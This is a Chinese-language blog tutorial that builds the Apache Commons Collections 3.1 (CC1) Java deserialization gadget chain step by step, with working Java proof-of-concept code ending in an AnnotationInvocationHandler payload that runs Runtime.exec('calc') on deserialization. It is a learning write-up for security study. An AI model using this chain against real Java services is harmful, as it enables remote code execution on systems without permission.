Commons Collections 1 利用链


0x00 前言

前面的几篇文章中,我们学习了java反射机制、RMI、动态代理以及java反序列化的流程,这些内容其实涉及的只是一些前置知识,不过也是比较关键的一些知识,能够为我们接下来分析各种漏洞以及利用链做好铺垫(网上很多文章都是直接从利用链开始谈起,对于我这样的新手太不友好)。从本篇文章开始,我将分析各种漏洞的利用链。

0x01 什么是利用链?什么是CC链

用p神的话:利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能 是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。(之前我有学习过php反序列化的pop链,也正如这样描述的,以后有机会写篇文章分享一下)。

CC链作为java反序列化利用链的一种,是我们在学习java反序列化过程中不可跳过的一关。这里的CC是对Apache Commons Collections这个java第三方库的简称,它在java中提供了一些功能,可以更方便的管理Collection集合,因为方便,Commons Collections被广泛用于各种Java应用的开发,它提供很多强有力的数据结构类型,并且实现了各种集合工具类。其中反序列化漏洞就出现在这个库中,这意味着使用该库的漏洞版本的Java应用会面临反序列化漏洞的威胁。而我们的目的,就是研究这个库是如何产生并被利用反序列化漏洞的。

0x02 环境搭建

对于利用链这块,网上文章很少有讲环境搭建的,导致我环境搭建就花了好长时间。。。

首先是环境要求:

  1. jdk1.7版本,这里我下载的是这个安装包:jdk-7u80-windows-x64.exe

  2. 本文要研究的CC链:apache commons collection 3.1版本

  3. IntelliJ IDEA

准备好后,在IDEA里新建一个项目,选择安装好的jdk1.7。

新建项目

然后进入文件->项目结果->模块,在创建好的项目下选择依赖,点击+号,然后选择1 JAR或目录……

进入依赖

接着就是选择下载并解压好的commons collection 3.1文件夹下的jar包:

导入CC jar包

导入后,就可以在项目的外部库中看到这个CC jar包了。

jar包成功导入

0x03 分析

前置知识点

前面介绍Commons Collections时说过,这个包提供很多强有力的数据结构类型,并且实现了各种集合工具类,其中我们需要关注的一个功能是:

Transforming decorators that alter each object as it is added to the collection

转化装饰器:修改每一个添加到collection中的object

在Commons Collections包中实现了一个TransformedMap类(org.apache.commons.collections.map.TransformedMap),该类是对Java标准数据结构Map接口的一个扩展,该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

包括TransfomedMap在内,我们在构造利用链时要用到如下Class:

  1. InvokerTransformer
  2. ChainedTrasnformer
  3. ConstantTransformer
  4. TransformedMap
  5. AnotationInvocationHandler

我们现在的目的就是执行Runtime.getRuntime().exec("calc");语句

那我们按照顺序一一来看。

1. InvokerTransformer

该类位于org.apache.commons.collections.functors中,我们重点看其中的transform方法(只看重点部分):

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } //省略
        }
    }

在该方法中,显示通过inputgetClass()方法获得Class对象,然后获取Class中的method(this.iMethodName, this.iParamTypes),再method.invoke(input, this.iArgs)触发方法。那么我们是否可以控制这些变量来完成一个反射呢?

InvokerTransformer有两个构造方法,其中一个可以让我们传入以上需要用到的iMethodName,iParamTypes,iArgs,即方法名、参数类型和参数本身

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

那么我们可以通过传入恶意的一些参数,从而利用反射达到RCE的效果,比如我们构造如下RCE:

package Anchor;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        // 创建invokerTransformer,并利用其构造函数对其成员变量iMethodName、iParamTypes、iArgs进行赋值
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        // 构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
        Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"), null);
        // 执行payload
        invokerTransformer.transform(input);
    }

}

成功弹出计算器:

成功弹出计算器

虽然成功RCE,但这还远没有接近真实场景,下面我们模拟一下客户端和服务器之间序列化和反序列化的过程(为了简便,客户端和服务端我就写到一个类里了):

需要注意的是,InvokerTransformer类实现了Serializable接口,所以该类是可以序列化的。

InvokerTransformer实现了Serializable接口

package Anchor;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        //首先创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});

        //序列化,将构造的恶意类实例写入到payload.bin文件中
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(invokerTransformer);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并执行payload
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        InvokerTransformer inv = (InvokerTransformer) objectInputStream.readObject();

        //构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
        Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"),null);
        //执行payload
        inv.transform(input);
    }

}

运行后一样成功弹出计算器。

如果我们直接利用这处反射机制作为漏洞的话,则需要服务端的开发人员“帮助”我们做以下事情才能触发漏洞:

  • 把反序列化后的Object强制转化为InvokerTransformer类型
  • 构造Input - Runtime实例
  • 刻意执行InvokerTransformer中的transform方法,并将Runtime实例以方法参数传入。

实际中会有开发人员这么好心帮我们把这些都实现了吗?显然不会(除非开发人员自己人,hh)

所以现在我们就面临一些问题:

payload肯定要在客户端刻意自定义构造,再传输进入服务端

服务端需要把我们输入exp反序列化成一个在代码中可能使用的类,并且在代码正常操作中会调用这个类中的一个可出触发漏洞的函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行),如果这个反序列化的类和这个类触发命令执行的方法课可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!

所以接下来我们就一个一个解决上述问题,首先是客户端自定义payload,即input参数的问题,这时要用到下面这个类。

2.ChainedTransformer

该类同样也位于org.apache.commons.collections.functors包中,使用它我们就可以自己来写input参数,自定义payload

在ChainedTransformer类中,也有一个transform方法,我们定位到它的源码:

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

它循环遍历了iTransformers数组中的每一个元素,每一次循环,它都会把该元素.transform(object)的结果(一个对象)赋值给object,并返回。这意味着,下一个元素执行的transform()方法中的参数就是上一个元素执行transform()方法的返回值,如此一来就是串行传递执行结果。

我们需要确定iTransfomers这个数组中的内容是否是我们可以自主控制的,定位到其构造函数中看看这个成员变量的来历:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

显然我们是可以自定义该变量的内容的,又因为之前我们看到,InvokerTransformer不仅implementsSerializa接口,也implementsTransformer接口,那么InvokerTransformer的实例对象也是可以放在这个iTransfomers这个数组中的(不明白的去巩固巩固java基础)

所有就有下面的想法:让我们构造的input(Runtime实例)作为第一个遍历元素的返回值,再执行第二个元素的transform时,刚好就传入了input这个参数了。

但问题是,怎么让我们构造的input(Runtime实例)能被Transformer类或其子类的transform()方法中的返回呢?接下来就引入ConstantTransformer

3. ConstantTransformer 类

该类也位于org.apache.commons.collections.functors包中,它同样也implementsTransformer类的,所以可以被放进Transformer[]数组,同样也有我们想要的transform()方法。顾名思义,该类其实只会存放一个常量;它的构造函数会写入这个变量,它的transform函数又会返回这个变量,其中构造函数和transform方法的源码如下:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

我们可以在构造函数中将Runtime.getRuntime()得到的Runtime实例传给iConstant,这样链就连起来了:

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                //返回input(即Runtime实例),并将它作为下面的transform()的方法参数传入
                new ConstantTransformer(Runtime.getRuntime()),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(chainedTransformer);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并触发漏洞
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
        //触发漏洞
        inv.transform("Anchor");//这里任何值都可以,因为ConstantTransformer.transform(object)中的object中没有被用到
    }
}

该程序运行后直接报错,产生以下错误:

NotSerializableException

也就是说,Runtime类是不可以序列化的,我们看它的源码可以发现并没有实现Serializa接口,而我们是直接将通过Runtime.getRuntime()得到的Runtime实例序列化,所以产生错误。

Runtime部分源码

那么就另辟蹊径,我们通过反射方式获取Runtime实例,让服务端在反序列化时自己生成Runtime实例:

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回Runtime Class
                //获取getRuntime方法
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                //call getRuntime方法得到Runtime实例
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(chainedTransformer);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并触发漏洞
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
        //触发漏洞
        inv.transform("Anchor");//这里任何值都可以
    }

}

成功弹出计算器!

成功弹出计算器

看到这里我是真的很佩服构造这个利用链的大佬,能够构造地这么巧妙!

不过还没完,就这样漏洞触发的条件依旧苛刻,仍需要开发者在服务端将object转换为ChainedTransformer类型,且执行transform方法,我们还需要进一步扩大漏洞触发范围。

4 TransformedMap类

前面也提到过该类,该类是对 Java 标准数据结构 Map 接口的一个扩展,该类位于org.apache.commons.collections.map包中

该类中我们可以看到以下方法:

protected Object transformKey(Object object) {
    //若keyTransformer不为null,则执行其transform方法
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    //若valueTransformer不为null,则执行其transform方法
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

put()

虽然前三个方法中都有我们想要的调用transform方法,但是由于属性均为protected,非子类的话,是无法被外界访问的。不过可以借助第四个方法————put(),该方法中就调用了前面两个方法,那也就可以间接调用transform方法了。

那么问题来了,其中的keyTransformer和valueTransformer是否是我们可控的?

还是一样的,跟进到构造函数中一探究竟。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

我们可以看到,构造函数的属性也是protected,也就是说,在别的包中,我们是无法通过new来实例化一个TransformedMap类的对象的,那也就是说,无法通过该处构造函数实现传入构造的利用链了。那就没办法了不?

我们把目标锁定在另外的一个静态方法decorate()上:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

可以看到该静态方法可以直接返回一个TransformedMap实例,并且该静态方法是public属性,那么问题迎刃而解了,我们可以TransformedMap.decorate()来获取一个TransformedMap实例,其中的keyTransformer或是valueTransformer参数处传入我们构造好几次的transformer链,那么接下来poc改造如下:

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回Runtime Class
                //获取getRuntime方法
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                //call getRuntime方法得到Runtime实例
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("123","456");
        Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//final malicious map

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(myMap);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并触发漏洞
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Map mapObj = (Map) objectInputStream.readObject();
        //触发漏洞
        mapObj.put("anchor","anch0r");
    }
}

nice,计算器还是照常弹出。

到了这一步,漏洞的范围就很大了,因为已经接触到我们常用的Map数据结构和其put()方法了。但这还是不太理想,我们更理想化的攻击方式是,服务器端只要反序列化readObject()就能触发反序列化漏洞。可惜的是,安全研究的大佬们发现并未有满足重写了readObject()方法且方法内可以调用MapObj.put()方法条件的Class。

checkSetValue()

注意到上面这个poc只是利用了其中我提到的transformKeytransformValue以及put方法,其中有个方法我还没提,就是checkSetValue()方法:

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

这里面也调用了我们想要的transform方法,但是该方法也是protected属性来修饰的,不能直接利用,我们可以看看其他有哪个地方调用了这个checkSetValue方法。该方法其实是由TransformedMap继承自AbstractInputCheckedMapDecorator类,我们就先跟进这个类中看看。

在该类中又有个MapEntry类,其中setValue方法中调用了checkSetValue方法。

MapEntry类

显然,现在我们只需要确保this.parent指向的是TransformedMap类的对象就可以了。那就继续看看this.parent在哪些地方被赋值了。、

可以看到分别可以在当前类文件的EntrySetIterator类和EntrySet类的构造函数中赋值:

this.parent赋值的地方

但这是不同Class的parent,我们需要的是MapEntry里的parent,继续查看代码,发现:EntrySetIterator中的next()方法会将自身的parent传入MapEntry,而EntrySetiterator方法又会创建一个新的EntrySetIterator,将它的parent传入EntrySetIterator,这样就连起来了 new EntrySet(set,parent).iterator().next()就能够传入我们的parent:

连起来了

接着我们发现,AbstractInputCheckedMapDecorator里还有一个entrySet(),因为我们的TransformedMap就是它的子类,所以我们可以直接用我们的TransformedMap去调用这个方法,一切就连起来了。

public Set entrySet() {
    return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}

于是POC改造:

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回Runtime Class
                //获取getRuntime方法
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                //call getRuntime方法得到Runtime实例
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("123","456");
        Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
        Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next();//传入parent

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(finalMap);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并触发漏洞
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Map.Entry entry = (Map.Entry) objectInputStream.readObject();
        entry.setValue("Anch0r");//触发漏洞
    }
}

这里又发现了NotSerializableException错误,其中的MapEntry是不可序列化的。

NotSerializableException

这里就不通过序列化和反序列化表现了,直接删除序列化和反序列化的代码查看结果:

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回Runtime Class
                //获取getRuntime方法
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                //call getRuntime方法得到Runtime实例
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("123","456");
        Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
        Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next();//传入parent
        finalMap.setValue("anch0r");
    }
}

成功弹窗!

5. AnotationInvocationHandler类

AnotationInvocationHandler类不是Commons Collections包中的内容了,它是jdk包中自带的类,位于sun.reflect.annotation.AnotationInvocationHandler,这个类很完美,因为它有一个自己的readObject方法,就是说该类可以配合实现反序列化漏洞。

我们就先来分析它的readObject方法的源码:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;//var2代表AnnotationType(注释类型) -》 为空

        try {
            var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个实例
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
        Iterator var4 = this.memberValues.entrySet().iterator();//*****var4会直接将memberValues自身作为parent传入,和第五步我们自己构造的一模一样!!!如果没看懂的,建议看第五步仔细阅读。

        while(var4.hasNext()) {//如果var4中还有下一个key-Value对
            Entry var5 = (Entry)var4.next(); //获取下一个key-value对,并赋值给var5
            String var6 = (String)var5.getKey();//获取var5的key
            Class var7 = (Class)var3.get(var6);//在var3中查看有没有这个key,把结果赋值给var7
            if (var7 != null) {//如果var3中有这个key
                Object var8 = var5.getValue();//获取这个key-Value对中的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,call var5(Map)的setValue()方法
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

我们看到了熟悉的this.memberValues.entrySet().iterator();,在后面还有setValue(),这已经足够我们利用了。上面代码comment中的【this.type】【this.memberValues】都是可控的,在构造方法中可以传入,那么顺便看看其构造方法源码:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

memberValues我们赋值为TransformedMap.decorate()的返回值,那type呢?我们可以发现type是一种Annotation(注释),如果大家有学习过SpringBoot或Spring的话,就会理解Annotation的意义。所以此处我们是要传一个Annotation的Class过去。再看readObject()中的逻辑:

          ...
var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个Annotation实例(实际会获取到注解的各种属性,包括注解元素,注解元素的默认值,生命周期,是否继承等等。)
      Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
      while(var4.hasNext()) {
          Entry var5 = (Entry)var4.next(); //获取下一个entry
          String var6 = (String)var5.getKey();//获取var5的key
          Class var7 = (Class)var3.get(var6);//在var3 memberTypes中查看有没有这个key,把结果赋值给var7
          if (var7 != null) {//如果var3 memberTypes中有这个key
              Object var8 = var5.getValue();//获取这个key-Value对中的value
              if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                  //*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,触发漏洞
                  var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
              }
          }
      }

我们传入的这个type需要有memberTypes,且我们的map中的key必须要和memberTypes的key保持一致。跟踪Annotation这个Class,我们可以发现所有Annotationclass。

所有的Annotation的class文件

这里我们可以简单分析一下:

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    ElementType[] value();
}

此处TargetmemberTypes就是 [value:ElementType] =》 key-value的形式。

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    RetentionPolicy value();
}

此处RetentionmemberTypes就是 [value:RetentionPolicy] =》 key-value的形式`。

这些Annotation的元注解都可以通过@符号来调用,例如@Target

@Target

因此我们可以选择传入Target.class或者Retention.class, mapkey值为value

package Anchor;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

        /*
         * 客户端构造payload,并序列化文件
         * */
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回Runtime Class
                //获取getRuntime方法
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                //call getRuntime方法得到Runtime实例
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                //创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        //将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value","anyContent");
        Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取该类
        Constructor<?> aConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);//获取构造方法
        aConstructor.setAccessible(true);//取消构造方法限制
        Object o = aConstructor.newInstance(Target.class, myMap);//传入参数和malicious map

        //序列化

        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.flush();
        objectOutputStream.close();
        fileOutputStream.close();

        /*
         * 服务端反序列化读取,并触发漏洞
         * */
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();//触发漏洞
    }
}

最后成功弹出计算器

0x04 小结

在学习利用链之前我总是在想,为啥大佬们要大费周章花很多心思来搞这么长的利用链?学完CC链的原理之后我明白了,在构造利用链时,他们肯定是在一步一步思索,怎么才能使漏洞的利用需要的条件更低,而接触范围更大等等,解决的办法也就是不断寻找其他突破口,去看其他的类,其他的方法来曲线救国,我想这也是我们在平常学习安全时所需要的能力,要学会不断去探索新的方法、新的可能性。

参考文章:

Java安全漫谈

JAVA反序列化 - Commons-Collections组件


文章作者: anch0r
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 anch0r !
  目录